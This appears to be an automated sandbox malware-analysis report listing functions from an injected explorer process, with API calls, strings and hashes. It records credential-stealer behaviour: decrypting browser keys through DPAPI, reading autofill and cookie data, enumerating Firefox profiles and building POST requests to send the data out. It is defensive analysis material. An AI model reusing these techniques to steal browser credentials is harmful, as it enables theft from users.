Instruction ID: 00fc9a59bd715dcc5cd16c593f11d57c9bf0bb2f4186ada46411036d11b6581e
Opcode Fuzzy Hash: f48f7e192fc555afdf7a839f175406d8068e83c3d1a100a7a4c182faa3ead535
Instruction Fuzzy Hash: AA31A2703043419BCB50FB318899A6F76E99FCD744F00692FF94A82261EB3E8805D75A

Function 00433E04 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00432893,00000000,00000000,00000000,?), ref: 00431B82
Part of subcall function 00431B6A: CloseHandle.KERNELBASE(00000000), ref: 00431B8F

Part of subcall function 00431C31: CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,00433E1E,00000000,?,00433FA8), ref: 00431C46
Part of subcall function 00431C31: GetFileSize.KERNEL32(00000000,00000000,00000000,?,00433FA8), ref: 00431C56
Part of subcall function 00431C31: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,00433FA8), ref: 00431C76
Part of subcall function 00431C31: CloseHandle.KERNEL32(00000000,?,00433FA8), ref: 00431C91

Part of subcall function 00432FB1: StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,00433E30,00000000,00000000,?,00433FA8), ref: 00432FC1
Part of subcall function 00432FB1: lstrlen.KERNEL32("encrypted_key":",?,00433FA8), ref: 00432FCE
Part of subcall function 00432FB1: StrStrIA.SHLWAPI("encrypted_key":",0048692C,?,00433FA8), ref: 00432FDD

Part of subcall function 0043123B: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00433E4B,00000000), ref: 0043124A
Part of subcall function 0043123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00431268
Part of subcall function 0043123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00431295

RtlCompareMemory.NTDLL(00000000,IDPAP,00000005), ref: 00433E74
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00433E9E

Strings

DPAP, xrefs: 00433E5A
DPAP, xrefs: 00433E52
IDPAP, xrefs: 00433E6E, 00433E72
, xrefs: 00433EA8

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: File$Crypt$BinaryCloseCreateHandleStringlstrlen$CompareDataMemoryReadSizeUnprotect
String ID: $DPAP$DPAP$IDPAP
API String ID: 3076719866-957854035
Opcode ID: 39f665bae939b6eae9aa1a3c3d1c90fbf3f280208bcf1cb6cdf1258b25312ca1
Instruction ID: b0032937909933d3408493918c34a570717f1206a3648e3a32c95b4ae7180184
Opcode Fuzzy Hash: 39f665bae939b6eae9aa1a3c3d1c90fbf3f280208bcf1cb6cdf1258b25312ca1
Instruction Fuzzy Hash: 8721C2326043455BD711EE698881A6FB2ECAB8C702F44196FF841C6351EB7CCE45879A

Function 00434B92 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00431162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0043116F

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 00434BB6
NtUnmapViewOfSection.NTDLL(000000FF), ref: 00434BBF

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: 8ab8904125a2a2ccd6f424c65d55d3e40c8f4f6ad0208e222aee63cd0b602233
Instruction ID: 40cd99f509c437f8a4e0bb1b1873fcbd814021511e775b208da4ae44a310acda
Opcode Fuzzy Hash: 8ab8904125a2a2ccd6f424c65d55d3e40c8f4f6ad0208e222aee63cd0b602233
Instruction Fuzzy Hash: BAE0923140021067C658BB71BC09A8BBB589FDE365F10996EB165921A1CA39A8408758

Function 00436512 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(004920A4,00000001,00000000,0000000A,00483127,004328DA,00000000,?), ref: 0043BFFC

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 4b182b3c74395a3ba507cb3b62a102b8e6aaa7796a0fa1e8dceb7d81ed9db1a5
Instruction ID: b7d16b539208ed4488a91efc5582298ffc07980ae27fc346125a67ac0917f8c6
Opcode Fuzzy Hash: 4b182b3c74395a3ba507cb3b62a102b8e6aaa7796a0fa1e8dceb7d81ed9db1a5
Instruction Fuzzy Hash: 82E0ED3178430275EA1437BA7D07F1A19494B8DB04F61EA3BB710AA1EADB9D9141102E

Function 00433C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 147
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00432893,00000000,00000000,00000000,?), ref: 00431B82
Part of subcall function 00431B6A: CloseHandle.KERNELBASE(00000000), ref: 00431B8F

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

GetTempPathW.KERNEL32(00000104,00000000), ref: 00433C6A
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00433C76
DeleteFileW.KERNELBASE(00000000), ref: 00433C7D
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 00433C89
lstrlen.KERNEL32(00000000,?,?,?,?,00000000,00000000,?), ref: 00433D2F
lstrlen.KERNEL32(00000000), ref: 00433D36
wsprintfA.USER32 ref: 00433D55
lstrlen.KERNEL32(00000000), ref: 00433D61
lstrcat.KERNEL32(00000000,?), ref: 00433D89
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 00433DB2
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 00433DED

Strings

%s = %s, xrefs: 00433D4F
SELECT name,value FROM autofill, xrefs: 00433CAA
AUTOFILL, xrefs: 00433DBD, 00433DC2, 00433DCC

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: File$lstrlen$DeleteHeapTemp$AllocateCloseCopyCreateHandleNamePathProcesslstrcatwsprintf
String ID: %s = %s$AUTOFILL$SELECT name,value FROM autofill
API String ID: 2923052733-3488123210
Opcode ID: 96b1fca0ed9d498312dd552b045496cc6cf07b330028b29c6767e20485dce176
Instruction ID: a82415301a97074fd923797ba43989cf1c4a4a629178f12ee63a6563f569790d
Opcode Fuzzy Hash: 96b1fca0ed9d498312dd552b045496cc6cf07b330028b29c6767e20485dce176
Instruction Fuzzy Hash: 6741D330204201ABD714BF75CC85E3F76A9EF89749F00182EF845A7262DB3DDD01876A

Function 004328F8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 158
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 00432AD2

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

lstrlen.KERNEL32(00000000,?,?,?,?,?,?), ref: 004329E1
lstrlen.KERNEL32(00000000), ref: 004329EC
wsprintfA.USER32 ref: 00432A38
lstrlen.KERNEL32(00000000), ref: 00432A44
lstrcat.KERNEL32(00000000,00000000), ref: 00432A6C
lstrlen.KERNEL32(00000000,?,?), ref: 00432A99

Strings

COOKIES, xrefs: 00432AA4, 00432AAB, 00432AB1
%sTRUE%s%s%s%s%s, xrefs: 00432A32
TRUE, xrefs: 00432A13
FALSE, xrefs: 00432A06

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: lstrlen$Heap$AllocateDeleteFileProcesslstrcatwsprintf
String ID: %sTRUE%s%s%s%s%s$COOKIES$FALSE$TRUE
API String ID: 304071051-2605711689
Opcode ID: 3ee07d16000734c23d43e1b2b02ba24af01e8efd0ec79fc15e3a3c056ef7b255
Instruction ID: affb394bf665f759dd65e57abefbdacb19f60197a20edc743272e863678be094
Opcode Fuzzy Hash: 3ee07d16000734c23d43e1b2b02ba24af01e8efd0ec79fc15e3a3c056ef7b255
Instruction Fuzzy Hash: 6B51AE706043468BD725EF219990B3F77E9AF89308F04582EF8859B262DB7DDC058B5A

Function 00432CB5 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00432F0C), ref: 00431973
Part of subcall function 00431953: lstrlenW.KERNEL32(00486564,?,?,00432F0C), ref: 00431978
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,?,?,?,00432F0C), ref: 00431990
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,00486564,?,?,00432F0C), ref: 00431994

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

Part of subcall function 00431B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00432893,00000000,00000000,00000000,?), ref: 00431B82
Part of subcall function 00431B6A: CloseHandle.KERNELBASE(00000000), ref: 00431B8F

GetPrivateProfileSectionNamesW.KERNEL32(00000000,0000FDE8,00000000), ref: 00432D13
StrStrIW.SHLWAPI(00000000,Profile), ref: 00432D45
GetPrivateProfileStringW.KERNEL32(00000000,Path,0048637C,?,00000FFF,?), ref: 00432D68
GetPrivateProfileIntW.KERNEL32(00000000,IsRelative,00000001,?), ref: 00432D7B
lstrlenW.KERNEL32(00000000), ref: 00432DD8

Strings

Path, xrefs: 00432D62
profiles.ini, xrefs: 00432CCD
IsRelative, xrefs: 00432D75
Profile, xrefs: 00432D3F

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: PrivateProfilelstrlen$Heaplstrcat$AllocateCloseCreateFileHandleNamesProcessSectionString
String ID: IsRelative$Path$Profile$profiles.ini
API String ID: 2234428054-4107377610
Opcode ID: 3dc251deddff9da3afe2cca044a6669ae09452c39fb299b406b5ec23eb02ef43
Instruction ID: fc31e920b34436885553947df72526934025fb3b63be5925a88d4c0822bc2bbc
Opcode Fuzzy Hash: 3dc251deddff9da3afe2cca044a6669ae09452c39fb299b406b5ec23eb02ef43
Instruction Fuzzy Hash: 643190307043019BCA54BF31991162F76A2AFCD704F10583FF946A7392DBBD8C46975A

Function 00431333 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

Part of subcall function 0043106C: lstrlen.KERNEL32(02A565AE,00000000,00000000,00000000,00431366,76228A60,02A565AE,00000000), ref: 00431074
Part of subcall function 0043106C: MultiByteToWideChar.KERNEL32(00000000,00000000,02A565AE,00000001,00000000,00000000), ref: 00431086

Part of subcall function 004312A3: RtlZeroMemory.NTDLL(?,00000018), ref: 004312B5

RtlZeroMemory.NTDLL(?,0000003C), ref: 004313C2
wsprintfW.USER32 ref: 004314B5
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 00431594

Strings

Accept: */*Referer: %S, xrefs: 004314AF
POST, xrefs: 00431465
Content-Type: application/x-www-form-urlencoded, xrefs: 004314FB

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: 51a8f09065b5e4e4bef2c97e8e36c558d2670e3e96d9db6cf9712ebeff319e4e
Instruction ID: 3bbafe940943dc6f4cdd405cbcd8d9a3d3f7e45b7ea613c109dc022c9b4a2862
Opcode Fuzzy Hash: 51a8f09065b5e4e4bef2c97e8e36c558d2670e3e96d9db6cf9712ebeff319e4e
Instruction Fuzzy Hash: D6717970608301AFD7549F65DC88A2FBBE9EB88344F00592EF955D3262DB38DD048B5A

Function 0043A40E Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.NTDLL(?,?,?), ref: 0043A455
memcpy.NTDLL(?,?,?), ref: 0043A479
ReadFile.KERNELBASE(?,?,?,?,?), ref: 0043A4DB
memset.NTDLL ref: 0043A546

Strings

SH, xrefs: 0043A4DB
winRead, xrefs: 0043A515

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: winRead$SH
API String ID: 2051157613-3770183200
Opcode ID: de055421dd6964a9f9218ce99b98db4be6b8af024dd66989f64ae7d72cc05319
Instruction ID: d0082008dab0a1f47317ffbb5ef472d7f62856dea9cbc27ffc455e370c7e6f0c
Opcode Fuzzy Hash: de055421dd6964a9f9218ce99b98db4be6b8af024dd66989f64ae7d72cc05319
Instruction Fuzzy Hash: 7331CE32208300AFC740DE19CC8599FB7E6EFD8314F84692AF98587310D678EC258B9B

Function 0043A67C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 78
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_alldiv.NTDLL(?,?,?), ref: 0043A6AD
_allmul.NTDLL(00000000,?,?), ref: 0043A6B6
SetEndOfFile.KERNELBASE(?), ref: 0043A6F3

Strings

@TH, xrefs: 0043A6F3
winTruncate1, xrefs: 0043A6DF
winTruncate2, xrefs: 0043A717

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: File_alldiv_allmul
String ID: @TH$winTruncate1$winTruncate2
API String ID: 3568847005-1035160094
Opcode ID: 6503685d69a2283648e846f700648fd23395ab5c9aa71f08d9c9039f15587a6d
Instruction ID: 1d5520689964af2132963533dec8b2872f7fc675543f0af680feead7463845ac
Opcode Fuzzy Hash: 6503685d69a2283648e846f700648fd23395ab5c9aa71f08d9c9039f15587a6d
Instruction Fuzzy Hash: DA21D371240100ABCB149E29CCC5E6B37A9EF88310F15912FFD94CB295D738DC20C7AA

Function 0043B87B Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 202
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0043B8D5
CreateFileW.KERNELBASE(00000000,?,00000003,00000000,-00000003,?,00000000), ref: 0043B96F

Strings

SH, xrefs: 0043B96F
winOpen, xrefs: 0043BA22
psow, xrefs: 0043BA95

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: CreateFilememset
String ID: psow$winOpen$SH
API String ID: 2416746761-2626843210
Opcode ID: e1c33f019aa7778aa3ab4493f41131532cdecafba25ffbb2c1b7423441d54f7b
Instruction ID: a6bc3635bf1e25f794eeb70a581a1d6f23cd2750c812a04803b1acaee0b060a9
Opcode Fuzzy Hash: e1c33f019aa7778aa3ab4493f41131532cdecafba25ffbb2c1b7423441d54f7b
Instruction Fuzzy Hash: A7715D71A04702AFC710EF25C88175AB7E0FF8C724F105A2EFA6497291D778D954CB9A

Function 0043B1E5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,00000000,00000004,00000000,00000006,00000000,?,?,00000000), ref: 0043B31D
MapViewOfFile.KERNELBASE(?,?,00000000,?,?), ref: 0043B34F

Strings

winShmMap3, xrefs: 0043B399
winShmMap1, xrefs: 0043B278
winShmMap2, xrefs: 0043B2CF

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: File$CreateMappingView
String ID: winShmMap1$winShmMap2$winShmMap3
API String ID: 3452162329-3826999013
Opcode ID: ec717a08e84435863a6d271e62e014d01d5b6bbef76d553b3785065585038ead
Instruction ID: a0e467136780de40f2a8627eaab18dc84a20e703b189a6ae14bd09a80cbad918
Opcode Fuzzy Hash: ec717a08e84435863a6d271e62e014d01d5b6bbef76d553b3785065585038ead
Instruction Fuzzy Hash: FB51AD712007019FDB25CF18C845B2B77E6FB98314F10992FEA928B391DB78E815CB99

Function 00432E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113registryCOMMON

Download Yara Rule

APIs

StrStrIW.KERNELBASE(?,?), ref: 00432E4B
RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 00432EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00432F54
RegCloseKey.KERNELBASE(?), ref: 00432F62

Part of subcall function 004319E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431A1E
Part of subcall function 004319E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00431A3C
Part of subcall function 004319E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00431A75
Part of subcall function 004319E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431A98

Part of subcall function 00431BC5: lstrlenW.KERNEL32(00000000,00000000,?,00432E75,PathToExe,00000000,00000000), ref: 00431BCC
Part of subcall function 00431BC5: StrStrIW.SHLWAPI(00000000,.exe,?,00432E75,PathToExe,00000000,00000000), ref: 00431BF0
Part of subcall function 00431BC5: StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,00432E75,PathToExe,00000000,00000000), ref: 00431C05
Part of subcall function 00431BC5: lstrlenW.KERNEL32(00000000,?,00432E75,PathToExe,00000000,00000000), ref: 00431C1C

Part of subcall function 00431AFE: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,00432E83,PathToExe,00000000,00000000), ref: 00431B16

Strings

PathToExe, xrefs: 00432E5E

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: CloseOpenQueryValuelstrlen$EnumFolderPath
String ID: PathToExe
API String ID: 1799103994-1982016430
Opcode ID: d608d5956f4985029cd672ee6a6a8a64bd6e50e5c64ce2fa66d8bcb30781278b
Instruction ID: 2129266762c8c0cc6f028d735e58088ff0b719dae3c445dd3c930010b6e24de6
Opcode Fuzzy Hash: d608d5956f4985029cd672ee6a6a8a64bd6e50e5c64ce2fa66d8bcb30781278b
Instruction Fuzzy Hash: F43190716042116F8719AF22CC16D6F7AA9EFC8354F00552EF86987351DA78C901DBAA

Function 00434A71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

wsprintfW.USER32 ref: 00434AA2
RegCreateKeyExW.KERNELBASE(80000001,00000000,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00434AC7
RegCloseKey.KERNELBASE(?), ref: 00434AD4

Strings

%s\%08x, xrefs: 00434A9C
Software, xrefs: 00434A95

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: Heap$AllocateCloseCreateProcesswsprintf
String ID: %s\%08x$Software
API String ID: 1800864259-1658101971
Opcode ID: ace7b9dcff5b0795f623521590971dc8fa983b4b784196532be4db1011919f94
Instruction ID: 2869166b569ad2205bbe38c6041ee9884972b216249653eaf0a3df5653071a5f
Opcode Fuzzy Hash: ace7b9dcff5b0795f623521590971dc8fa983b4b784196532be4db1011919f94
Instruction Fuzzy Hash: FA012F71600008BFDB08AF80DC8AEBF77ACEB49348F10007FF600A3110EAB06E809669

Function 00434317 Relevance: 7.6, APIs: 5, Instructions: 64registryCOMMON

Download Yara Rule

APIs

_alloca_probe.NTDLL ref: 0043431C
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 00434335
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00434363
RegCloseKey.ADVAPI32(?), ref: 004343C8

Part of subcall function 00431953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00432F0C), ref: 00431973
Part of subcall function 00431953: lstrlenW.KERNEL32(00486564,?,?,00432F0C), ref: 00431978
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,?,?,?,00432F0C), ref: 00431990
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,00486564,?,?,00432F0C), ref: 00431994

Part of subcall function 0043418A: wsprintfW.USER32 ref: 00434212

Part of subcall function 00431011: GetProcessHeap.KERNEL32(00000000,00000000,?,00431A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2), ref: 00431020
Part of subcall function 00431011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431027

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004343B9

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$CloseFreeOpenProcess_alloca_probewsprintf
String ID:
API String ID: 801677237-0
Opcode ID: 080779346a19376a2b777ed0994af651509166e24e04109a0d26e02f177ca409
Instruction ID: f43282f0029a6959182e388e0f6ea3e3545c232c9c74e1fa65d8b3a39a0ed68b
Opcode Fuzzy Hash: 080779346a19376a2b777ed0994af651509166e24e04109a0d26e02f177ca409
Instruction Fuzzy Hash: F11103B12042057FE715EB11DC45DBF77EDEB88348F00493EB949D2150EB78AD449B6A

Function 00499247 Relevance: 6.3, APIs: 4, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000497000.00000040.80000000.00040000.00000000.sdmp, Offset: 00497000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_497000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df094dd86e25509f5de35ca07a1e407cc031daf0f4651a549572ba074fcb0573
Instruction ID: a4683cc430775c54a3350699d263516dd21090b698549e5d054b9c8fb9ab8b61
Opcode Fuzzy Hash: df094dd86e25509f5de35ca07a1e407cc031daf0f4651a549572ba074fcb0573
Instruction Fuzzy Hash: 7BA13A725186525BDF228E7CCCC06A17F90EB56324B2D067EC9D18B3C2E7685C07C759

Function 004319E5 Relevance: 6.1, APIs: 4, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431A1E
RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00431A3C
RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00431A75
RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431A98

Part of subcall function 00431011: GetProcessHeap.KERNEL32(00000000,00000000,?,00431A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2), ref: 00431020
Part of subcall function 00431011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431027

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: HeapQueryValue$CloseFreeOpenProcess
String ID:
API String ID: 217796345-0
Opcode ID: f1edc0a684e0e222f9cc3c4f37dd72ca392ed68e0ce09d08a8780c1f411ca93c
Instruction ID: 1ccc4929eeaf5a582f9c977e6ccd55a0c10322cc5413a3b512cdd2f1f1d0ac3c
Opcode Fuzzy Hash: f1edc0a684e0e222f9cc3c4f37dd72ca392ed68e0ce09d08a8780c1f411ca93c
Instruction Fuzzy Hash: C821E772206345AFE7249B21CD04F3B77E8EFCD759F001A2EF58592260D628CD40872A

Function 00431EC1 Relevance: 6.1, APIs: 4, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?), ref: 00431ED5

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00431F0C
RegCloseKey.ADVAPI32(?), ref: 00431F98

Part of subcall function 00431953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00432F0C), ref: 00431973
Part of subcall function 00431953: lstrlenW.KERNEL32(00486564,?,?,00432F0C), ref: 00431978
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,?,?,?,00432F0C), ref: 00431990
Part of subcall function 00431953: lstrcatW.KERNEL32(00000000,00486564,?,?,00432F0C), ref: 00431994

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00431F82

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$AllocateCloseOpenProcess
String ID:
API String ID: 1077800024-0
Opcode ID: 750ee0c41b6b67ee7828045ad8b997b2da945e5bbbc5ee07ce2378917cc66559
Instruction ID: 90d6705c5841a16fa1d43b808314c35bcf1acdc0e71b44c4216f316babd796f5
Opcode Fuzzy Hash: 750ee0c41b6b67ee7828045ad8b997b2da945e5bbbc5ee07ce2378917cc66559
Instruction Fuzzy Hash: 252151712083416FD705AB21DC45D2F7BEDEF8D358F00592EF49992260DB79C905DB26

Function 00431C31 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,00433E1E,00000000,?,00433FA8), ref: 00431C46
GetFileSize.KERNEL32(00000000,00000000,00000000,?,00433FA8), ref: 00431C56
CloseHandle.KERNEL32(00000000,?,00433FA8), ref: 00431C91

